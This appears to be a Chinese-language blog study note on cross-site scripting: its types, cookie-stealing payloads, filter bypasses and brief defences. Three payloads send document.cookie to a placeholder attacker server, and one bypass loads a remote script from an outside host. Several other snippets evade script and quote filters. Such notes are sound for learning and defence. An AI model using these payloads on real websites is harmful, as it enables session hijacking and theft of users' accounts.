温故而知新之xss
xss
跨站脚本攻击 网页中评论,名字 只要是用户输入的内容并且会显示在网页上面的
都有可能触发xss
xss注入本质上是注入js代码并执行 主要是用来弹cookie或者做钓鱼
xss类型
反射型
用户输入内容 拼接到网页上执行js代码 触发xss
反射型只弹一次 大部分不能造成什么危害
除非有那种url里面可以输入内容 只要别的用户点击的时候 会自动触发xss
存储型
相比反射型 xss的内容会存储在服务器中 可能是评论中也可能是数据库中
或者是文件上传一个html文件 并且可以解析html文件则会执行其中嵌入的js代码
存储型比较有危害
DOM型
修改DOM文档节点 触发xss 属于前端 JavaScript 自身的安全漏洞
相比反射型 直接在前端执行 没有经过服务端
xss钓鱼
document.location 重定向
1 | <script>document.location='http://你的服务器IP:端口/collect.php?cookie='+document.cookie;</script> |
image对象请求
1 | <script>new Image().src='http://你的服务器IP:端口/collect.php?cookie='+document.cookie;</script> |
XMLHttpRequest
1 | <script>var xhr=new XMLHttpRequest();xhr.open('GET','http://你的服务器IP:端口/collect.php?cookie='+document.cookie);xhr.send();</script> |
xss bypass
过滤引号
使用fromCharCode函数 将ascii码转化为字符
1 | <script>alert(String.fromCharCode(88,83,83))</script> |
使用/闭合
1 | <script>alert(/xss/)</script> |
过滤script标签
使用其他标签 比如
1 | <img src= error=alert(/xss/) > |
input标签绕过
1 | <INPUT type="text" value='<SCRIPT>alert("XSS")</SCRIPT>'> |
输入的内容在input标签内 可以尝试闭合
1 | <INPUT type="text" value=''><SCRIPT>alert("XSS")</SCRIPT><'''> |
= ( ) ; :被过滤时绕过
编码绕过
1 | <svg><script>alert(/1/)</script> // 通杀所有浏览器 |
外部js引用
1 | <img src=/ "onfocus='a=document.createElement("scr"+"ipt");a.src="http://ip/1.js";body.appendChild(a);'> |
xss防御
设置全局Filter 对所有用户输出都进行限制
字符转义 将特殊符号转义为html实体字符 小于大于号不能使用<>
1 | < < < 小于号 |
审计的时候重点一下内容
1 | <%= |
说些什么吧!